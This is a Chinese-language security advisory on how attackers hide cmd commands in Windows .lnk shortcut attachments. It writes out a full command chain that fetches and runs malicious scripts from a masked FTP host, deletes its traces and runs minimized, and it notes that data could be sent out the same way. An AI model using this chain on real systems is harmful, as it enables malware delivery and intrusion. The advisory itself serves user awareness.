.lnk 檔案類型入侵手法說明

.lnk 的檔案類型為 Windows 捷徑 (Computer_shortcut)，通常不會出現在郵件的附檔中，但有些駭客利用 .lnk 檔案能呼叫 CMD 指令的功能，將有害的 CMD 程式碼寫到 .lnk 檔的「目標」欄內，以郵件寄給入侵對象，並引誘其執行該檔案，以達成入侵受害者電腦目的。

入侵範例說明

1. 在.lnk 檔的「目標」欄內編寫一段能上網下載惡意程式的 CMD 指令
2. 在「執行」欄內選'最小化'，讓使用者不容易發覺有程式執行。

完整 CMD 指令內容如下：

```
C:\WINDOWS\system32\cmd.exe /c echo open xxx.xxx.edu.tw > t.t&
echo 123 >> t.t&
echo 123 >> t.t&
echo get down3.bat c:\down3.bat >> t.t&
echo get vnet3.vbs %windir%\vnet3.vbs >> t.t&
echo bye >> t.t&
ftp -s:t.t&
del t.t&
start %windir%\vnet3.vbs&
```

上面這段指令1～6行會產生一個名稱為 t.t 檔案，其內容如下：

```
open xxx.xxx.edu.tw
123
123
get down3.bat c:\down3.bat
get vnet3.vbs %windir%\vnet3.vbs
bye
```

第7行執行 ftp 命令並使用 -s 參數將 t.t 檔案當成批次指令來執行。此時會由 xxx.xxx.edu.tw ftp 伺服器下載 down3.bat & vnet3.vbs 2個檔案（惡意程式）。
第8行刪除 t.t 檔案（銷毀證據）。
第9行執行經由上述 ftp 過程下載的 vnet3.vbs□Visual Basic Script□□

上述 CMD 程式碼本身都是正常的指令，所以防毒軟體偵測不到。另外既然可以下載惡意程式，當然也可以上傳，駭客不用下載惡意程式，就可以直接將您的資料傳出去。
因此，建議使用者不要開啟來路不明郵件中的 .lnk 附檔，以免電腦遭入侵。

參考資料

使用 FTP 的批次指令碼